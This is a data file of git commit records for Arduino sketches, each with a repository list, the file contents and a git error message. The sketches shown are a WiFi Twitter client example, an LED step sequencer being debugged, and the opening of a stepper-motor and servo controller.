duino,Ramoonus\/Arduino,majenkotech\/Arduino,jomolinare\/Arduino,steamboating\/Arduino,gestrem\/Arduino,piersoft\/esp8266-Arduino,cscenter\/Arduino,Cloudino\/Cloudino-Arduino-IDE,NicoHood\/Arduino,onovy\/Arduino,01org\/Arduino,zaiexx\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,shannonshsu\/Arduino,EmuxEvans\/Arduino,mangelajo\/Arduino,kidswong999\/Arduino,snargledorf\/Arduino,ari-analytics\/Arduino,HCastano\/Arduino,arduino-org\/Arduino,mateuszdw\/Arduino,jomolinare\/Arduino,ari-analytics\/Arduino,vbextreme\/Arduino,mangelajo\/Arduino,probonopd\/Arduino,ogferreiro\/Arduino,mangelajo\/Arduino,zaiexx\/Arduino,eddyst\/Arduino-SourceCode,majenkotech\/Arduino,ektor5\/Arduino,wilhelmryan\/Arduino,karlitxo\/Arduino,nkolban\/Arduino,damellis\/Arduino,stevemayhew\/Arduino,chaveiro\/Arduino,aichi\/Arduino-2,HCastano\/Arduino,tommyli2014\/Arduino,ikbelkirasan\/Arduino,weera00\/Arduino,shannonshsu\/Arduino,scdls\/Arduino,tannewt\/Arduino,probonopd\/Arduino,jabezGit\/Arduino,mateuszdw\/Arduino,HCastano\/Arduino,chaveiro\/Arduino,damellis\/Arduino,paulo-raca\/ESP8266-Arduino,plinioseniore\/Arduino,danielchalef\/Arduino,eduardocasarin\/Arduino,jmgonzalez00449\/Arduino,rodibot\/Arduino,adamkh\/Arduino,ari-analytics\/Arduino,381426068\/Arduino,snargledorf\/Arduino,ogferreiro\/Arduino,Orthogonal-Systems\/arduino-libs,ashwin713\/Arduino,eeijcea\/Arduino-1,linino\/Arduino,Gourav2906\/Arduino,weera00\/Arduino,jabezGit\/Arduino,OpenDevice\/Arduino,SmartArduino\/Arduino-1,ari-analytics\/Arduino,ogferreiro\/Arduino,NaSymbol\/Arduino,noahchense\/Arduino-1,Protoneer\/Arduino,OpenDevice\/Arduino,rodibot\/Arduino,Ramoonus\/Arduino,sanyaade-iot\/Arduino-1,NicoHood\/Arduino,noahchense\/Arduino-1,NicoHood\/Arduino,acosinwork\/Arduino,NaSymbol\/Arduino,gberl001\/Arduino,ntruchsess\/Arduino-1,probonopd\/Arduino,bsmr-arduino\/Arduino,vbextreme\/Arduino,eggfly\/arduino,jabezGit\/Arduino,vbextreme\/Arduino,ashwin713\/Arduino,spapadim\/Arduino,jaehong\/Xmegaduino,ikbelkirasan\/Arduino,pdNor\/Arduino,xxxajk\/Arduino-1,Chris--A\/Arduino,probonopd\/Arduino,wdoganowski\/Arduino,ms-iot\/Arduino,gurbrinder\/Arduino,kidswong999\/Arduino,stevemarple\/Arduino-org,snargledorf\/Arduino,fungxu\/Arduino,wilhelmryan\/Arduino,zenmanenergy\/Arduino,laylthe\/Arduino,wayoda\/Arduino,onovy\/Arduino,ashwin713\/Arduino,gonium\/Arduino,danielchalef\/Arduino,eddyst\/Arduino-SourceCode,byran\/Arduino,tbowmo\/Arduino,Cloudino\/Arduino,PeterVH\/Arduino,zaiexx\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,ashwin713\/Arduino,mattvenn\/Arduino,Orthogonal-Systems\/arduino-libs,PaintYourDragon\/Arduino,andrealmeidadomingues\/Arduino,PaintYourDragon\/Arduino,lulufei\/Arduino,aichi\/Arduino-2,steamboating\/Arduino,NeuralSpaz\/Arduino,EmuxEvans\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,OpenDevice\/Arduino,kidswong999\/Arduino,jaehong\/Xmegaduino,myrtleTree33\/Arduino,myrtleTree33\/Arduino,stevemayhew\/Arduino,superboonie\/Arduino,rodibot\/Arduino,stevemarple\/Arduino-org,tannewt\/Arduino,kidswong999\/Arduino,PeterVH\/Arduino,gonium\/Arduino,ForestNymph\/Arduino_sources,bsmr-arduino\/Arduino,NeuralSpaz\/Arduino,talhaburak\/Arduino,henningpohl\/Arduino,PaintYourDragon\/Arduino,koltegirish\/Arduino,koltegirish\/Arduino,niggor\/Arduino_cc,01org\/Arduino,wilhelmryan\/Arduino,ektor5\/Arduino,vbextreme\/Arduino,bugobliterator\/BUAGI,probonopd\/Arduino,noahchense\/Arduino-1,jamesrob4\/Arduino,ektor5\/Arduino,smily77\/Arduino,linino\/Arduino,tannewt\/Arduino,KlaasDeNys\/Arduino,radut\/Arduino,fungxu\/Arduino,aichi\/Arduino-2,plinioseniore\/Arduino,damellis\/Arduino,onovy\/Arduino,ntruchsess\/Arduino-1,benwolfe\/esp8266-Arduino,KlaasDeNys\/Arduino,weera00\/Arduino,drpjk\/Arduino,raimohanska\/Arduino,paulmand3l\/Arduino,jabezGit\/Arduino,andyvand\/Arduino-1,ntruchsess\/Arduino-1,jaej-dev\/Arduino,majenkotech\/Arduino,smily77\/Arduino,odbol\/Arduino,gberl001\/Arduino,koltegirish\/Arduino,weera00\/Arduino,gestrem\/Arduino,mateuszdw\/Arduino,spapadim\/Arduino,tannewt\/Arduino,ccoenen\/Arduino,jaimemaretoli\/Arduino,wilhelmryan\/Arduino,paulo-raca\/ESP8266-Arduino,championswimmer\/Arduino,Cloudino\/Arduino,acosinwork\/Arduino,drpjk\/Arduino,nandojve\/Arduino,arunkuttiyara\/Arduino,niggor\/Arduino_cc,danielchalef\/Arduino,PeterVH\/Arduino,fungxu\/Arduino,laylthe\/Arduino,linino\/Arduino,lulufei\/Arduino,probonopd\/Arduino,jamesrob4\/Arduino,Alfredynho\/AgroSis,jomolinare\/Arduino,me-no-dev\/Arduino-1,superboonie\/Arduino,steamboating\/Arduino,acosinwork\/Arduino,ccoenen\/Arduino,ogahara\/Arduino,danielchalef\/Arduino,steamboating\/Arduino,01org\/Arduino,mboufos\/esp8266-Arduino,jaimemaretoli\/Arduino,tomkrus007\/Arduino,plaintea\/esp8266-Arduino,tbowmo\/Arduino,gestrem\/Arduino,stevemayhew\/Arduino,stickbreaker\/Arduino,vbextreme\/Arduino,diydrones\/Arduino,Chris--A\/Arduino,381426068\/Arduino,paulo-raca\/ESP8266-Arduino,henningpohl\/Arduino,niggor\/Arduino_cc,nandojve\/Arduino,ari-analytics\/Arduino,mboufos\/esp8266-Arduino,ms-iot\/Arduino,xxxajk\/Arduino-1,eeijcea\/Arduino-1,tommyli2014\/Arduino,adamkh\/Arduino,NeuralSpaz\/Arduino,andrealmeidadomingues\/Arduino,mateuszdw\/Arduino,jaej-dev\/Arduino,lukeWal\/Arduino,laylthe\/Arduino,jaej-dev\/Arduino,PaoloP74\/Arduino,arduino-org\/Arduino,ForestNymph\/Arduino_sources,arduino-org\/Arduino,tomkrus007\/Arduino,tommyli2014\/Arduino,ForestNymph\/Arduino_sources,ccoenen\/Arduino,raimohanska\/Arduino,jamesrob4\/Arduino,eddyst\/Arduino-SourceCode,shiitakeo\/Arduino,bugobliterator\/BUAGI,kidswong999\/Arduino,andyvand\/Arduino-1,odbol\/Arduino,eggfly\/arduino,lukeWal\/Arduino,PaoloP74\/Arduino,plinioseniore\/Arduino,EmuxEvans\/Arduino,ntruchsess\/Arduino-1,noahchense\/Arduino-1,tommyli2014\/Arduino,stevemayhew\/Arduino,steamboating\/Arduino,jomolinare\/Arduino,PeterVH\/Arduino,myrtleTree33\/Arduino,nandojve\/Arduino,UDOOboard\/Arduino,bsmr-arduino\/Arduino,tomkrus007\/Arduino,PeterVH\/Arduino,tskurauskas\/Arduino,gonium\/Arduino,bsmr-arduino\/Arduino,fungxu\/Arduino,Chris--A\/Arduino,ricklon\/Arduino,jmgonzalez00449\/Arduino,eddyst\/Arduino-SourceCode,gestrem\/Arduino,ms-iot\/Arduino,paulmand3l\/Arduino,bigjosh\/Arduino,bigjosh\/Arduino,andyvand\/Arduino-1,Cloudino\/Arduino,jabezGit\/Arduino,noahchense\/Arduino-1,toddtreece\/esp8266-Arduino,smily77\/Arduino,zaiexx\/Arduino,byran\/Arduino,drpjk\/Arduino,rcook\/DesignLab,Orthogonal-Systems\/arduino-libs,spapadim\/Arduino,odbol\/Arduino,ektor5\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,wayoda\/Arduino,nkolban\/Arduino,gurbrinder\/Arduino,jmgonzalez00449\/Arduino,gurbrinder\/Arduino,championswimmer\/Arduino,ricklon\/Arduino,tskurauskas\/Arduino,snargledorf\/Arduino,Alfredynho\/AgroSis,ashwin713\/Arduino,jaehong\/Xmegaduino,rodibot\/Arduino,Chris--A\/Arduino,tommyli2014\/Arduino,stevemayhew\/Arduino,ricklon\/Arduino,koltegirish\/Arduino,gurbrinder\/Arduino,gberl001\/Arduino,tbowmo\/Arduino,Cloudino\/Arduino,drpjk\/Arduino,damellis\/Arduino,piersoft\/esp8266-Arduino,Protoneer\/Arduino,jomolinare\/Arduino,EmuxEvans\/Arduino,koltegirish\/Arduino,toddtreece\/esp8266-Arduino,diydrones\/Arduino,wdoganowski\/Arduino,linino\/Arduino,PaintYourDragon\/Arduino,NaSymbol\/Arduino,jamesrob4\/Arduino,01org\/Arduino,garci66\/Arduino,cscenter\/Arduino,scdls\/Arduino,tbowmo\/Arduino,paulmand3l\/Arduino,bsmr-arduino\/Arduino,zederson\/Arduino,PaoloP74\/Arduino,niggor\/Arduino_cc,bigjosh\/Arduino,ssvs111\/Arduino,nandojve\/Arduino,stevemarple\/Arduino-org,andrealmeidadomingues\/Arduino,mattvenn\/Arduino,NicoHood\/Arduino,NaSymbol\/Arduino,lulufei\/Arduino,mattvenn\/Arduino,tomkrus007\/Arduino,toddtreece\/esp8266-Arduino,stevemayhew\/Arduino,niggor\/Arduino_cc,pdNor\/Arduino,Protoneer\/Arduino,superboonie\/Arduino,NicoHood\/Arduino,benwolfe\/esp8266-Arduino,zaiexx\/Arduino,Ramoonus\/Arduino,stevemarple\/Arduino-org,leftbrainstrain\/Arduino-ESP8266,garci66\/Arduino,henningpohl\/Arduino,radut\/Arduino,karlitxo\/Arduino,me-no-dev\/Arduino-1,mangelajo\/Arduino,EmuxEvans\/Arduino,zenmanenergy\/Arduino,HCastano\/Arduino,niggor\/Arduino_cc,ntruchsess\/Arduino-1,KlaasDeNys\/Arduino,381426068\/Arduino,radut\/Arduino,bugobliterator\/BUAGI,chaveiro\/Arduino,acosinwork\/Arduino,ikbelkirasan\/Arduino,danielchalef\/Arduino,NeuralSpaz\/Arduino,tbowmo\/Arduino,eggfly\/arduino,NeuralSpaz\/Arduino,andrealmeidadomingues\/Arduino,01org\/Arduino,ogahara\/Arduino,lukeWal\/Arduino,ashwin713\/Arduino,championswimmer\/Arduino,andyvand\/Arduino-1,NeuralSpaz\/Arduino,laylthe\/Arduino,tskurauskas\/Arduino,onovy\/Arduino,OpenDevice\/Arduino,eeijcea\/Arduino-1,leftbrainstrain\/Arduino-ESP8266,acosinwork\/Arduino,paulo-raca\/ESP8266-Arduino,eduardocasarin\/Arduino,nandojve\/Arduino,rcook\/DesignLab,arduino-org\/Arduino,NaSymbol\/Arduino,PeterVH\/Arduino,talhaburak\/Arduino,HCastano\/Arduino,talhaburak\/Arduino,rcook\/DesignLab,sanyaade-iot\/Arduino-1,talhaburak\/Arduino,nandojve\/Arduino,ForestNymph\/Arduino_sources,adamkh\/Arduino,nandojve\/Arduino,eduardocasarin\/Arduino,ari-analytics\/Arduino,mateuszdw\/Arduino,OpenDevice\/Arduino,leftbrainstrain\/Arduino-ESP8266,plaintea\/esp8266-Arduino,adafruit\/ESP8266-Arduino,talhaburak\/Arduino,drpjk\/Arduino,weera00\/Arduino,kidswong999\/Arduino,wilhelmryan\/Arduino,myrtleTree33\/Arduino,diydrones\/Arduino,nkolban\/Arduino,arunkuttiyara\/Arduino,mangelajo\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,chaveiro\/Arduino,UDOOboard\/Arduino,talhaburak\/Arduino,tskurauskas\/Arduino,mangelajo\/Arduino,danielchalef\/Arduino,eggfly\/arduino,PaoloP74\/Arduino,byran\/Arduino,acosinwork\/Arduino,cscenter\/Arduino,adamkh\/Arduino,eggfly\/arduino,wayoda\/Arduino,KlaasDeNys\/Arduino,leftbrainstrain\/Arduino-ESP8266,drpjk\/Arduino,Cloudino\/Cloudino-Arduino-IDE,jaej-dev\/Arduino,zederson\/Arduino,adafruit\/ESP8266-Arduino,tomkrus007\/Arduino,wilhelmryan\/Arduino,ashwin713\/Arduino,Chris--A\/Arduino,jaehong\/Xmegaduino,wdoganowski\/Arduino,me-no-dev\/Arduino-1,ikbelkirasan\/Arduino,ntruchsess\/Arduino-1,Gourav2906\/Arduino,ikbelkirasan\/Arduino,wdoganowski\/Arduino,zederson\/Arduino,vbextreme\/Arduino,gonium\/Arduino,diydrones\/Arduino,shannonshsu\/Arduino,jaimemaretoli\/Arduino,chaveiro\/Arduino,nkolban\/Arduino,tannewt\/Arduino,mc-hamster\/esp8266-Arduino,Alfredynho\/AgroSis,HCastano\/Arduino,Ramoonus\/Arduino,Alfredynho\/AgroSis,eduardocasarin\/Arduino,smily77\/Arduino,diydrones\/Arduino,Chris--A\/Arduino,ogahara\/Arduino,shiitakeo\/Arduino,andyvand\/Arduino-1,Cloudino\/Cloudino-Arduino-IDE,eeijcea\/Arduino-1,chaveiro\/Arduino,niggor\/Arduino_cc,tskurauskas\/Arduino,stickbreaker\/Arduino,EmuxEvans\/Arduino,HCastano\/Arduino,Protoneer\/Arduino,byran\/Arduino,snargledorf\/Arduino,piersoft\/esp8266-Arduino,pdNor\/Arduino,PeterVH\/Arduino,gonium\/Arduino,karlitxo\/Arduino,odbol\/Arduino,eddyst\/Arduino-SourceCode,aichi\/Arduino-2,chaveiro\/Arduino,wayoda\/Arduino,ikbelkirasan\/Arduino,Gourav2906\/Arduino,raimohanska\/Arduino,nandojve\/Arduino,ForestNymph\/Arduino_sources,noahchense\/Arduino-1,Cloudino\/Cloudino-Arduino-IDE,eeijcea\/Arduino-1,majenkotech\/Arduino,radut\/Arduino,sanyaade-iot\/Arduino-1,nkolban\/Arduino,karlitxo\/Arduino,piersoft\/esp8266-Arduino,zaiexx\/Arduino,wilhelmryan\/Arduino,shannonshsu\/Arduino,bigjosh\/Arduino,ssvs111\/Arduino,eduardocasarin\/Arduino,adafruit\/ESP8266-Arduino,acosinwork\/Arduino,leftbrainstrain\/Arduino-ESP8266,superboonie\/Arduino,NicoHood\/Arduino,bugobliterator\/BUAGI,lulufei\/Arduino,jaimemaretoli\/Arduino,nkolban\/Arduino,pdNor\/Arduino,me-no-dev\/Arduino-1,Alfredynho\/AgroSis,rodibot\/Arduino,UDOOboard\/Arduino,noahchense\/Arduino-1,bsmr-arduino\/Arduino,jaehong\/Xmegaduino,eggfly\/arduino,odbol\/Arduino,zenmanenergy\/Arduino,SmartArduino\/Arduino-1,SmartArduino\/Arduino-1,mc-hamster\/esp8266-Arduino,Cloudino\/Arduino,fungxu\/Arduino,Protoneer\/Arduino,eddyst\/Arduino-SourceCode,paulo-raca\/ESP8266-Arduino,benwolfe\/esp8266-Arduino,tommyli2014\/Arduino,diydrones\/Arduino,arduino-org\/Arduino,onovy\/Arduino,jabezGit\/Arduino,xxxajk\/Arduino-1,shiitakeo\/Arduino,eddyst\/Arduino-SourceCode,NicoHood\/Arduino,zenmanenergy\/Arduino,mateuszdw\/Arduino,mc-hamster\/esp8266-Arduino,ssvs111\/Arduino,NeuralSpaz\/Arduino,radut\/Arduino,henningpohl\/Arduino,ForestNymph\/Arduino_sources,bsmr-arduino\/Arduino,zederson\/Arduino,zederson\/Arduino,OpenDevice\/Arduino,tbowmo\/Arduino,niggor\/Arduino_cc,SmartArduino\/Arduino-1,cscenter\/Arduino,ricklon\/Arduino,jaej-dev\/Arduino,ari-analytics\/Arduino,ricklon\/Arduino,Gourav2906\/Arduino,zaiexx\/Arduino,tomkrus007\/Arduino,gestrem\/Arduino,gberl001\/Arduino,KlaasDeNys\/Arduino,talhaburak\/Arduino,vbextreme\/Arduino","old_file":"WiFi\/examples\/TwitterClient\/TwitterClient.ino","new_file":"WiFi\/examples\/TwitterClient\/TwitterClient.ino","new_contents":"\/*\n Twitter Client with Strings\n \n This sketch connects to Twitter using using an Arduino WiFi shield. \n It parses the XML returned, and looks for <text>this is a tweet<\/text>\n \n This example is written for a network using WPA encryption. For \n WEP or WPA, change the Wifi.begin() call accordingly.\n \n This example uses the String library, which is part of the Arduino core from\n version 0019. \n \n Circuit:\n * WiFi shield attached to pins 10, 11, 12, 13\n \n created 15 Sep 2011\n modified 2 Mar 2012\n by Tom Igoe\n \n This code is in the public domain.\n \n *\/\n#include <SPI.h>\n#include <WiFi.h>\n\nchar ssid[] = \"itpsandbox\"; \/\/ your network SSID (name) \nchar pass[] = \"NYU+s0a!+P?\"; \/\/ your network password (use for WPA, or use as key for WEP)\nint keyIndex = 0; \/\/ your network key Index number (needed only for WEP)\n\nint status = WL_IDLE_STATUS;\n\n\/\/ initialize the library instance:\nWiFiClient client;\n\nlong lastConnectionTime = 0; \/\/ last time you connected to the server, in milliseconds\nboolean lastConnected = false; \/\/ state of the connection last time through the main loop\nconst unsigned long postingInterval = 10* 1000; \/\/delay between updates \n\/\/char server[] = \"api.twitter.com\";\nIPAddress server(199,59,148,20);\n\/\/IPAddress server(128,122,151,128);\n\nString currentLine = \"\"; \/\/ string to hold the text from server\nString tweet = \"\"; \/\/ string to hold the tweet\nboolean readingTweet = false; \/\/ if you're currently reading the tweet\n\nvoid setup() {\n \/\/ reserve space for the strings:\n currentLine.reserve(256);\n tweet.reserve(150);\n \/\/ initialize serial:\n Serial.begin(9600);\n Serial.println(\"Attempting to connect to WPA network...\");\n Serial.print(\"SSID: \");\n Serial.println(ssid);\n\n status = WiFi.begin(ssid, pass);\n while ( status != WL_CONNECTED) { \n status = WiFi.begin(ssid, pass);\n Serial.println(\"Couldn't get a wifi connection\");\n delay(5000);\n } \n Serial.println(\"Connected to wifi\");\n printWifiData();\n printCurrentNet();\n connectToServer();\n}\n\n\n\nvoid loop()\n{\n if (client.connected()) {\n Serial.println(\"requested\");\n if (client.available()) {\n \/\/ read incoming bytes:\n char inChar = client.read();\n \n \/\/ add incoming byte to end of line:\n currentLine += inChar; \n\n \/\/ if you get a newline, clear the line:\n if (inChar == '\\n') {\n Serial.println(currentLine);\n currentLine = \"\";\n } \n \/\/ if the current line ends with <text>, it will\n \/\/ be followed by the tweet:\n if ( currentLine.endsWith(\"<text>\")) {\n \/\/ tweet is beginning. Clear the tweet string:\n readingTweet = true; \n tweet = \"\";\n }\n \/\/ if you're currently reading the bytes of a tweet,\n \/\/ add them to the tweet String:\n if (readingTweet) {\n if (inChar != '<') {\n tweet += inChar;\n } \n else {\n \/\/ if you got a \"<\" character,\n \/\/ you've reached the end of the tweet:\n readingTweet = false;\n Serial.println(tweet); \n \/\/ close the connection to the server:\n client.stop(); \n }\n }\n } \n }\n else if (millis() - lastConnectionTime > postingInterval) {\n \/\/ if you're not connected, and two minutes have passed since\n \/\/ your last connection, then attempt to connect again:\n connectToServer();\n }\n}\n\nvoid connectToServer() {\n \/\/ attempt to connect, and wait a millisecond:\n Serial.println(\"connecting to server...\");\n if (client.connect(server, 80)) {\n Serial.println(\"making HTTP request...\");\n \/\/ make HTTP GET request to twitter:\n delay(10);\n client.print(\"GET \/1\/statuses\/user_timeline.xml?screen_name=arduino&count=1 HTTP\/1.1\\n\");\n client.print(\"Host:api.twitter.com\\n\");\n client.print(\"Connection:close\\n\\n\");\n \/\/ client.println();\n }\n else {\n \/\/ if you couldn't make a connection:\n Serial.println(\"connection failed\");\n Serial.println();\n Serial.println(\"disconnecting.\");\n client.stop();\n }\n \/\/ note the time of this connect attempt:\n lastConnectionTime = millis();\n lastConnected = client.connected();\n} \n\n\nvoid printWifiData() {\n \/\/ print your WiFi shield's IP address:\n IPAddress ip = WiFi.localIP();\n Serial.print(\"IP Address: \");\n Serial.println(ip);\n \n \/\/ print your MAC address:\n byte mac[6]; \n WiFi.macAddress(mac);\n Serial.print(\"MAC address: \");\n Serial.print(mac[5],HEX);\n Serial.print(\":\");\n Serial.print(mac[4],HEX);\n Serial.print(\":\");\n Serial.print(mac[3],HEX);\n Serial.print(\":\");\n Serial.print(mac[2],HEX);\n Serial.print(\":\");\n Serial.print(mac[1],HEX);\n Serial.print(\":\");\n Serial.println(mac[0],HEX);\n \n}\n\nvoid printCurrentNet() {\n \/\/ print the SSID of the network you're attached to:\n Serial.print(\"SSID: \");\n Serial.println(WiFi.SSID());\n\n \/\/ print the MAC address of the router you're attached to:\n byte bssid[6];\n WiFi.BSSID(bssid); \n Serial.print(\"BSSID: \");\n Serial.print(bssid[5],HEX);\n Serial.print(\":\");\n Serial.print(bssid[4],HEX);\n Serial.print(\":\");\n Serial.print(bssid[3],HEX);\n Serial.print(\":\");\n Serial.print(bssid[2],HEX);\n Serial.print(\":\");\n Serial.print(bssid[1],HEX);\n Serial.print(\":\");\n Serial.println(bssid[0],HEX);\n\n \/\/ print the received signal strength:\n long rssi = WiFi.RSSI();\n Serial.print(\"signal strength (RSSI):\");\n Serial.println(rssi);\n\n \/\/ print the encryption type:\n byte encryption = WiFi.encryptionType();\n Serial.print(\"Encryption Type:\");\n Serial.println(encryption,HEX);\n Serial.println();\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'WiFi\/examples\/TwitterClient\/TwitterClient.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"59dbec682c3c2108563f9a018d0a90324816099b","subject":"Create src.ino","message":"Create src.ino","repos":"AJama50\/CS207-Project","old_file":"src\/src.ino","new_file":"src\/src.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/AJama50\/CS207-Project.git\/'\n","license":"unlicense","lang":"Arduino"} {"commit":"a3bd2f3f661b581b69032a5ba7385897f89fdcac","subject":"debugging sequencer with all led pins low","message":"debugging sequencer with all led pins low\n","repos":"7Ds7\/sequencer","old_file":"Arduino\/sequencer_simple_low\/sequencer_simple_low.ino","new_file":"Arduino\/sequencer_simple_low\/sequencer_simple_low.ino","new_contents":"#define ARRAYSIZE(x) (sizeof(x)\/sizeof(*x))\n\nconst int ledStep1 = 2;\nconst int ledStep2 = 3;\nconst int ledStep3 = 4;\nconst int ledStep4 = 5;\n\nconst int ledStep5 = 6;\nconst int ledStep6 = 7;\nconst int ledStep7 = 8;\nconst int ledStep8 = 9;\n\nconst int gate = 13;\n\nconst int button1 = 11;\nconst int button2 = 12;\nconst int pot1 = A5;\n\nint stepArray[] = {ledStep1, ledStep2, ledStep3, ledStep4, ledStep5, ledStep6, ledStep7, ledStep8};\nint randArray[8];\n\/\/int stepArray[5] = {ledStep1, ledStep2, ledStep3, ledStep4};\n\n\nint beat = 120;\nint curvalue = -1;\n\nint stepCounter = 0;\n\nint mode = 0;\n\nvoid setup() {\n \/\/ put your setup code here, to run once:\n pinMode(ledStep1, OUTPUT);\n pinMode(ledStep2, OUTPUT);\n pinMode(ledStep3, OUTPUT);\n pinMode(ledStep4, OUTPUT);\n pinMode(ledStep5, OUTPUT);\n pinMode(ledStep6, OUTPUT);\n pinMode(ledStep7, OUTPUT);\n pinMode(ledStep8, OUTPUT);\n\n digitalWrite(ledStep1, LOW);\n digitalWrite(ledStep2, LOW);\n digitalWrite(ledStep3, LOW);\n digitalWrite(ledStep4, LOW);\n digitalWrite(ledStep5, LOW);\n digitalWrite(ledStep6, LOW);\n digitalWrite(ledStep7, LOW);\n digitalWrite(ledStep8, LOW);\n \n pinMode(gate, OUTPUT);\n pinMode(button1, INPUT);\n pinMode(button2, INPUT);\n pinMode(pot1, INPUT);\n\n Serial.begin(9600);\n}\n\nvoid turnAllOff() {\n for ( int i= 0; i <= 7; i++ ) {\n \/\/digitalWrite(stepArray[i], LOW);\n }\n digitalWrite(gate, LOW);\n}\n\nvoid regularPlay() {\n Serial.println(\"regularPlay\");\n turnAllOff();\n \/\/digitalWrite(stepArray[stepCounter], HIGH);\n digitalWrite(gate, HIGH);\n\n stepCounter++;\n if ( stepCounter >= 8 ) {\n stepCounter = 0;\n }\n}\n\nvoid reversePlay() {\n Serial.println(\"reversePlay\");\n turnAllOff();\n \/\/digitalWrite(stepArray[stepCounter], HIGH);\n digitalWrite(gate, HIGH);\n\n stepCounter--;\n if ( stepCounter <= -1 ) {\n stepCounter = 7;\n } \n}\n\nvoid doublePlay() {\n Serial.println(\"doublePlay\");\n turnAllOff();\n\n digitalWrite(stepArray[stepCounter], HIGH); \n digitalWrite(stepArray[stepCounter+4], HIGH);\n digitalWrite(gate, HIGH);\n\n stepCounter++;\n if ( stepCounter >= 4 ) {\n stepCounter = 0;\n } \n}\n\nvoid randomPlay() {\n Serial.println(\"randomPlay\");\n turnAllOff();\n if ( stepCounter == 0 ) {\n for( int i = 0 ; i < 8 ; ++i ){\n randArray[ i ] = stepArray[ i ];\n } \n }\n for( int i = 0 ; i < 8 ; ++i ){\n Serial.println(randArray[i]);\n }\n Serial.println(\"--------\");\n Serial.println(ARRAYSIZE(randArray) );\n int arr_access = randArray[random(0, 8)];\n digitalWrite( arr_access, HIGH);\n digitalWrite(gate, HIGH);\n \/\/remove_element(arr_access\n stepCounter++;\n if ( stepCounter >= 8 ) {\n stepCounter = 0;\n }\n}\n\n\nint modeSelect() {\n boolean b1 = digitalRead(button1);\n boolean b2 = digitalRead(button2);\n int md = 0;\n Serial.println(b1);\n Serial.println(b2);\n if ( true ) {\n md = 0;\n }\n else if ( b1 == 0 && b2 == 0 ) {\n \/\/Serial.println(\"regularPlay\");\n md = 0;\n } else if ( b1 == 1 && b2 == 0 ) {\n \/\/Serial.println(\"reversePlay\");\n md = 1;\n } else if ( b1 == 0 && b2 == 1 ) {\n \/\/Serial.println(\"doublePlay\");\n md = 2;\n } else if ( b1 == 1 && b2 == 1 ) {\n md = 3;\n }\n \n return md;\n \n}\n\nvoid loop() {\n \/\/beat = 30 + 220*(analogRead(pot1)\/256);\n mode = modeSelect();\n\/\/ mode = 0;\n \/\/Serial.println(stepCounter);\n \/\/Serial.println(mode);\n \/\/Serial.println(analogRead(pot1));\n\/\/ Serial.print(\"\\n\");\n \/\/Serial.println(beat);\n if ( mode == 0) {\n \/\/Serial.println(\"Regular play\");\n regularPlay();\n } else if ( mode == 1 ) {\n \/\/Serial.println(\"Alternate play\");\n reversePlay();\n } else if ( mode == 2 ) {\n doublePlay();\n } else if ( mode == 3 ) {\n randomPlay(); \n }\n\/\/ Serial.println(digitalRead(button1));\n\/\/ Serial.println(digitalRead(button2));\n\/\/ Serial.println(mode);\n \/\/Serial.println(stepArray[stepCounter]);\n delay(beat);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/sequencer_simple_low\/sequencer_simple_low.ino' did not match any file(s) known to git\n","license":"unlicense","lang":"Arduino"} {"commit":"361bd02da786358c5b1cf776b863ba32e9a71b02","subject":"Added email example.","message":"Added email example.\n","repos":"higepon\/Spark-Core-Examples,higepon\/Spark-Core-Examples","old_file":"7.Email Me\/main.ino","new_file":"7.Email Me\/main.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec '7.Email' did not match any file(s) known to git\nerror: pathspec 'Me\/main.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"241b6b8be7cb07737ee365791afe6e1319066afc","subject":"re-use an .ino","message":"re-use an .ino\n","repos":"JoeSuber\/QuickerPicker","old_file":"MyOvershoot.ino","new_file":"MyOvershoot.ino","new_contents":"\/\/ MyOvershoot.pde\n\/\/ -*- mode: C++ -*-\n\/\/ test new rig, try to remember this stuff\n\/\/ API: - sending commands via pyserial - letter, then ascii longint\n\/\/\n\/\/ MS1 \t MS2 \tMS3 \tMicrostep Resolution\n\/\/ Low \t Low \tLow \tFull step\n\/\/ High Low \tLow \tHalf step\n\/\/ Low \t High \tLow \tQuarter step\n\/\/ High High \tLow \tEighth step\n\/\/ High High \tHigh \tSixteenth step\n\/\/\n\/\/ EN set LOW == running \n\/\/ EN set HIGH == disabled\n\/\/ MS2 (of MS1,2,3) is currently the only step-size setter, and for\n\/\/ both drivers at the same time, so HIGH == quarter-step, LOW == full\n\n#include <AccelStepper.h>\n#include <Servo.h> \n\n\/\/ Define 2 steppers and other pins as run through pololu A4988 breakouts\nbyte DIR1 = 9;\nbyte STEP1 = 8;\nbyte DIR2 = 12;\nbyte STEP2 = 7;\nbyte MS2 = 6; \/\/ it is either 1\/4 or 'full' this way\nbyte EN = 4;\nbyte SERV1 = 11; \/\/ 'because he used those special parts to make his robot friends...'\nbyte CROW = 10;\nbyte ONRESERVE = 32; \/\/ max byte length of serial-delivered string\nboolean DEBUG = true;\n\nbyte PROX_PIN = A3; \/\/ unused for now\nbyte SensorPins[] = {3,5}; \/\/ sensor pins unused for now\nbyte senseHolder = 0; \/\/ global holder of sensor pin states\n\nlong int use_dest = 500; \/\/ 'use_..' - a user-changable value\nint use_accel = 4000;\nint use_speed = 1000;\nint use_servpos = 0; \/\/ target servo position\nlong int builtnum = 0; \/\/ number built from bytes in command string (sent via serial)\nunsigned long int sleep_ctr = 0; \/\/ go to sleep if sitting around for a while\nunsigned long int SLEEPDELAY = 96000000; \/\/ how many mhz per loop?\nbyte ctrbit = 1; \/\/ zero or 1 for incrementing sleep_ctr\nchar command = 0; \/\/ single char parsed out of command string (sent via serial)\nString inputString = \"\"; \n\n\/\/ some internal boolean control switches\nboolean stringComplete = false;\nboolean STEP1MOVING = false;\nboolean STEP2MOVING = false;\nboolean ENSTARTED = LOW;\n\nAccelStepper stepper(1, STEP1, DIR1); \/\/ '1' indicates use of driver board instead of direct wired 